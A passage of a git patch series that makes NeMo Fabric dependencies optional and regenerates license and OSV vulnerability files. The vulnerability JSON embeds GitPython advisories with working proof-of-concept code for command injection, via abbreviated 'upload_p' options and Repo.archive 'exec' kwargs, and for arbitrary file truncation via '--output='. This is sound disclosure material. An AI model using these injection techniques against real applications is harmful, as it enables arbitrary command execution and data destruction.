== 'all'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'nemo-agents-plugin'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'plugins'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric", extras = ["runtime"], marker = "extra == 'services'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'all'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'nemo-agents-plugin'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'plugins'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-codex", marker = "extra == 'services'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'all'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'nemo-agents-plugin'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'plugins'", specifier = "==0.1.0a1" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14' and extra == 'services'", specifier = "==0.1.0a1" }, { name = "nemo-platform-plugin", editable = "packages/nemo_platform_plugin" }, { name = "nemo-platform-plugin", marker = "extra == 'all'", editable = "packages/nemo_platform_plugin" }, { name = "nemo-platform-plugin", marker = "extra == 'core-service'", editable = "packages/nemo_platform_plugin" }, From 572d2a5eb53a7a0a9de93f490dbe2831f77bd775 Mon Sep 17 00:00:00 2001 From: Manjesh Mogallapalli Date: Thu, 23 Jul 2026 11:15:34 -0500 Subject: [PATCH 3/4] make fabric optional Signed-off-by: Manjesh Mogallapalli --- packages/nemo_platform/pyproject.toml | 3 - .../examples/nemo-agent-config/README.md | 10 +- plugins/nemo-agents/pyproject.toml | 14 +- third_party/licenses.jsonl | 8 - third_party/osv-licenses.json | 1430 ++++++++--------- third_party/requirements-main.txt | 38 - uv.lock | 40 +- 7 files changed, 703 insertions(+), 840 deletions(-) diff --git a/packages/nemo_platform/pyproject.toml b/packages/nemo_platform/pyproject.toml index 620be7ac6c..fd7944b7e7 100644 --- a/packages/nemo_platform/pyproject.toml +++ b/packages/nemo_platform/pyproject.toml @@ -234,9 +234,6 @@ nemo-agents-plugin = [ "boto3>=1.40.46,<1.40.62", "botocore>=1.40.46,<1.40.62", "httpx>=0.27", - "nemo-fabric[runtime]==0.1.0a1", - "nemo-fabric-adapters-codex==0.1.0a1", - "nemo-fabric-adapters-hermes==0.1.0a1; python_version < '3.14'", "pyyaml>=6.0", "anthropic>=0.88.0", "rich>=13.7.1", diff --git a/plugins/nemo-agents/examples/nemo-agent-config/README.md b/plugins/nemo-agents/examples/nemo-agent-config/README.md index f31641c1c5..7bf3eeb14e 100644 --- a/plugins/nemo-agents/examples/nemo-agent-config/README.md +++ b/plugins/nemo-agents/examples/nemo-agent-config/README.md @@ -3,6 +3,14 @@ This Platform-owned config invokes Codex or Hermes through NeMo Fabric. Run the commands below from the repository root. +Fabric dependencies are currently optional so the default workspace does not +force other Fabric consumers onto the `0.1.0a1` SDK API before they migrate. +Install them explicitly before local Fabric smoke tests: + +```bash +uv pip install -e "plugins/nemo-agents[fabric]" +``` + ## Codex Authenticate Codex, leave `default_harness: codex` in `agent.yaml`, and run: @@ -25,7 +33,7 @@ install it with the Fabric adapter in a separate Python 3.12 environment: uvx uv@0.9.14 venv --python 3.12 .venv-hermes uvx uv@0.9.14 --no-config pip install \ --python .venv-hermes/bin/python \ - "nemo-fabric-adapters-hermes==0.1.0a20260722" \ + "nemo-fabric-adapters-hermes==0.1.0a1" \ "hermes-agent==0.19.0" export HERMES_ADAPTER_PYTHON="$PWD/.venv-hermes/bin/python" diff --git a/plugins/nemo-agents/pyproject.toml b/plugins/nemo-agents/pyproject.toml index 8024a786f7..1b16565c79 100644 --- a/plugins/nemo-agents/pyproject.toml +++ b/plugins/nemo-agents/pyproject.toml @@ -16,11 +16,6 @@ dependencies = [ "boto3>=1.40.46,<1.40.62", "botocore>=1.40.46,<1.40.62", "httpx>=0.27", - # TODO(AIRCORE-897): Move this to a stable Fabric version before release once available. - # TODO(AIRCORE-897): Add the `relay` extra once nemo-evaluator-sdk's nemo-relay pin allows >=0.5. - "nemo-fabric[runtime]==0.1.0a1", - "nemo-fabric-adapters-codex==0.1.0a1", - "nemo-fabric-adapters-hermes==0.1.0a1; python_version < '3.14'", "pyyaml>=6.0", # improvement/ subpackage — agent-improvement workflow (POC). "anthropic>=0.88.0", @@ -64,6 +59,15 @@ nat_hermes_agent_adapter = "nat_hermes_agent_adapter.register" nat_openclaw_agent_adapter = "nat_openclaw_agent_adapter.register" [project.optional-dependencies] +fabric = [ + # TODO(AIRCORE-932): Move Fabric into the default plugin dependencies once evaluator has migrated + # to the 0.1.0a1+ config-first SDK API and Fabric packaging is stable across Platform environments. + # TODO(AIRCORE-897): Move this to a stable Fabric version before release once available. + # TODO(AIRCORE-897): Add the `relay` extra once nemo-evaluator-sdk's nemo-relay pin allows >=0.5. + "nemo-fabric[runtime]==0.1.0a1", + "nemo-fabric-adapters-codex==0.1.0a1", + "nemo-fabric-adapters-hermes==0.1.0a1; python_version < '3.14'", +] container = [ "jinja2>=3.1", "python-on-whales>=0.60", diff --git a/third_party/licenses.jsonl b/third_party/licenses.jsonl index 27082acacf..c07df32fc4 100644 --- a/third_party/licenses.jsonl +++ b/third_party/licenses.jsonl @@ -152,11 +152,6 @@ {"name": "multiprocess", "license": "BSD-3-CLAUSE", "compatible": true} {"name": "mypy-extensions", "license": "MIT", "compatible": true} {"name": "nemo-anonymizer", "license": "APACHE-2.0", "compatible": true} -{"name": "nemo-fabric", "license": "APACHE-2.0", "compatible": true} -{"name": "nemo-fabric-adapters-codex", "license": "APACHE-2.0", "compatible": true} -{"name": "nemo-fabric-adapters-common", "license": "APACHE-2.0", "compatible": true} -{"name": "nemo-fabric-adapters-hermes", "license": "APACHE-2.0", "compatible": true} -{"name": "nemo-fabric-runtime", "license": "APACHE-2.0", "compatible": true} {"name": "nemo-relay", "license": "APACHE-2.0", "compatible": true} {"name": "nemo-safe-synthesizer", "license": "APACHE-2.0", "compatible": true} {"name": "nemoguardrails", "license": "APACHE-2.0", "compatible": true} @@ -178,8 +173,6 @@ {"name": "oci-openai", "license": "UPL-1.0", "compatible": true} {"name": "onnxruntime", "license": "MIT", "compatible": true} {"name": "openai", "license": "APACHE-2.0", "compatible": true} -{"name": "openai-codex", "license": "APACHE-2.0", "compatible": true} -{"name": "openai-codex-cli-bin", "license": "APACHE-2.0", "compatible": true} {"name": "openapi-pydantic", "license": "MIT", "compatible": true} {"name": "openevals", "license": "MIT", "compatible": true} {"name": "openinference-semantic-conventions", "license": "APACHE-2.0", "compatible": true} @@ -291,7 +284,6 @@ {"name": "tenacity", "license": "APACHE-2.0", "compatible": true} {"name": "tiktoken", "license": "MIT", "compatible": true} {"name": "tokenizers", "license": "APACHE-2.0", "compatible": true} -{"name": "tomli-w", "license": "MIT", "compatible": true} {"name": "tomlkit", "license": "MIT", "compatible": true} {"name": "tornado", "license": "APACHE-2.0", "compatible": true} {"name": "tqdm", "license": "MIT", "compatible": true} diff --git a/third_party/osv-licenses.json b/third_party/osv-licenses.json index aa93e68df9..47c3c229cc 100644 --- a/third_party/osv-licenses.json +++ b/third_party/osv-licenses.json @@ -371,30 +371,25 @@ "version": "8.3.1", "ecosystem": "PyPI" }, - "groups": [ + "vulnerabilities": [ { - "ids": [ - "PYSEC-2026-2132" - ], + "modified": "2026-07-13T07:15:21Z", + "published": "2026-04-30T14:16:36Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-2132", "aliases": [ "CVE-2026-7246", - "GHSA-47fr-3ffg-hgmw", - "PYSEC-2026-2132" + "GHSA-47fr-3ffg-hgmw" + ], + "details": "Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H" + } ], - "max_severity": "7.2" - } - ], - "licenses": [ - "BSD-3-Clause" - ], - "vulnerabilities": [ - { "affected": [ { - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/click/PYSEC-2026-2132.yaml" - }, - "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "click", @@ -402,6 +397,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -409,8 +405,7 @@ { "fixed": "8.3.3" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -474,17 +469,12 @@ "8.3.0", "8.3.1", "8.3.2" - ] + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/click/PYSEC-2026-2132.yaml" + } } ], - "aliases": [ - "CVE-2026-7246", - "GHSA-47fr-3ffg-hgmw" - ], - "details": "Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.", - "id": "PYSEC-2026-2132", - "modified": "2026-07-13T07:15:21.899333658Z", - "published": "2026-04-30T14:16:36.433Z", "references": [ { "type": "WEB", @@ -514,15 +504,24 @@ "type": "EVIDENCE", "url": "https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw" } - ], - "schema_version": "1.7.5", - "severity": [ - { - "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H", - "type": "CVSS_V3" - } ] } + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-2132" + ], + "aliases": [ + "CVE-2026-7246", + "GHSA-47fr-3ffg-hgmw", + "PYSEC-2026-2132" + ], + "max_severity": "7.2" + } + ], + "licenses": [ + "BSD-3-Clause" ] }, { @@ -921,55 +920,25 @@ "version": "3.1.50", "ecosystem": "PyPI" }, - "groups": [ - { - "ids": [ - "GHSA-2f96-g7mh-g2hx" - ], - "aliases": [ - "GHSA-2f96-g7mh-g2hx" - ], - "max_severity": "8.8" - }, - { - "ids": [ - "GHSA-956x-8gvw-wg5v" - ], - "aliases": [ - "GHSA-956x-8gvw-wg5v" - ], - "max_severity": "8.4" - }, - { - "ids": [ - "GHSA-rwj8-pgh3-r573" - ], - "aliases": [ - "GHSA-rwj8-pgh3-r573" - ], - "max_severity": "7.5" - }, + "vulnerabilities": [ { - "ids": [ - "GHSA-v396-v7q4-x2qj" + "modified": "2026-07-23T03:14:29Z", + "published": "2026-07-21T19:43:43Z", + "schema_version": "1.7.5", + "id": "GHSA-2f96-g7mh-g2hx", + "related": [ + "CGA-wpw7-54fg-vx4m" ], - "aliases": [ - "GHSA-v396-v7q4-x2qj" + "summary": "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist", + "details": "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:** CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore\u2192hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=` \u2192 executed as `--upload-pack=` \u2192 command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n option_tokens = option_name.split(None, 1)\n if not option_tokens:\n return \"\"\n return dashify(option_tokens[0]) # only transform: \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n for option in options:\n unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n if unsafe_option is not None:\n raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`\u2192`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--=` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014 direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\") # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -> --upload-p= -> git runs \ntry:\n Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n pass # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker)) # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192 passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable \u2014 the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" + } ], - "max_severity": "8.7" - } - ], - "licenses": [ - "BSD-3-Clause" - ], - "vulnerabilities": [ - { "affected": [ { - "database_specific": { - "last_known_affected_version_range": "<= 3.1.50", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-2f96-g7mh-g2hx/GHSA-2f96-g7mh-g2hx.json" - }, "package": { "ecosystem": "PyPI", "name": "gitpython", @@ -977,6 +946,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -984,8 +954,7 @@ { "fixed": "3.1.51" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -1092,23 +1061,13 @@ "3.1.7", "3.1.8", "3.1.9" - ] + ], + "database_specific": { + "last_known_affected_version_range": "<= 3.1.50", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-2f96-g7mh-g2hx/GHSA-2f96-g7mh-g2hx.json" + } } ], - "database_specific": { - "cwe_ids": [ - "CWE-184", - "CWE-78" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T19:43:43Z", - "nvd_published_at": null, - "severity": "HIGH" - }, - "details": "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:** CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore\u2192hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=` \u2192 executed as `--upload-pack=` \u2192 command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n option_tokens = option_name.split(None, 1)\n if not option_tokens:\n return \"\"\n return dashify(option_tokens[0]) # only transform: \"_\" -> \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n for option in options:\n unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n if unsafe_option is not None:\n raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`\u2192`-` and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--=` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014 direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\") # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY 'upload_p' -> --upload-p= -> git runs \ntry:\n Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n pass # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker)) # True -> command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192 passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable \u2014 the vulnerability is in the library's documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython's protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.", - "id": "GHSA-2f96-g7mh-g2hx", - "modified": "2026-07-23T03:14:29.723431971Z", - "published": "2026-07-21T19:43:43Z", "references": [ { "type": "WEB", @@ -1131,25 +1090,35 @@ "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51" } ], + "database_specific": { + "cwe_ids": [ + "CWE-184", + "CWE-78" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T19:43:43Z", + "nvd_published_at": null, + "severity": "HIGH" + } + }, + { + "modified": "2026-07-23T03:14:30Z", + "published": "2026-07-21T20:10:06Z", + "schema_version": "1.7.5", + "id": "GHSA-956x-8gvw-wg5v", "related": [ - "CGA-wpw7-54fg-vx4m" + "CGA-78vw-9344-jhxg" ], - "schema_version": "1.7.5", + "summary": "GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`", + "details": "## Summary\n\nGitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, \u2026) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired into the **network** commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{\"remote\": \".\", \"exec\": \"\"}` becomes `git archive --remote=. --exec= -- `, and `git archive --remote=` invokes `git-upload-archive` whose path is overridden by `--exec` \u2192 **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed).\n\n2. **`repo.git.ls_remote(, upload_pack=\"\")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=` with no guard \u2192 **arbitrary command execution**.\n\n3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev, file)`** place the caller's `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision \u2192 arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).\n\nThe first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.\n\n## Details\n\nGitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options = [\n # Arbitrary command execution.\n \"--upload-pack\",\n \"--receive-pack\",\n # Arbitrary file overwrite.\n \"--exec\",\n]\n```\n\nand enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef check_unsafe_options(cls, options, unsafe_options):\n ...\n if unsafe_option is not None:\n raise UnsafeOptionError(f\"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options` is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071 Remote.fetch\ngit/remote.py:1125 Remote.pull\ngit/remote.py:1198 Remote.push\ngit/repo/base.py:1410 / :1412 Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled options/positionals and are **not** guarded:\n\n### 1. `Repo.archive` \u2014 command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self, ostream, treeish=None, prefix=None, **kwargs):\n ...\n self.git.archive(\"--\", treeish, *path, **kwargs)\n return self\n```\n\n`treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--=` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive --remote=. --exec= -- \n```\n\n`git archive --remote=` runs the upload-archive helper; `--exec=` overrides the helper path, executing `` on the host. This works with **default Git config** \u2014 it does not rely on the `ext::` transport (which is blocked by default).\n\n### 2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack` \u2192 `--upload-pack=`. `git ls-remote --upload-pack=` executes ``. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.(**user_dict)`), and `ls_remote` has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014 but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n### 3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`)\n\n```python\n# Commit.iter_items (reached via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == [\"--\", *paths]\n```\n\n```python\n# Repo.blame\ndata = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False, **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git rev-list`/`log`/`blame` honour `--output=`, which `open()`s and truncates the file *before* validating the revision \u2014 so the file is destroyed even though Git then errors out on the bad revision.\n\n## PoC\n\nAll three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.\n\n### Install\n\n```bash\npython3 -m venv venv && . venv/bin/activate\npip install GitPython # resolves to 3.1.50\npython -c \"import git; print(git.__version__)\" # 3.1.50\n```\n\n### PoC 1 \u2014 command execution via `Repo.archive`\n\n```python\n# archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n 'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')\nif os.path.exists(marker): os.remove(marker)\n\n# a service lets a user export a repo and forwards their options dict\nopts = {'remote': '.', 'exec': 'touch ' + marker}\ntry:\n repo.archive(io.BytesIO(), **opts)\nexcept git.exc.GitCommandError as e:\n print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])\n\nprint('[+] marker present:', 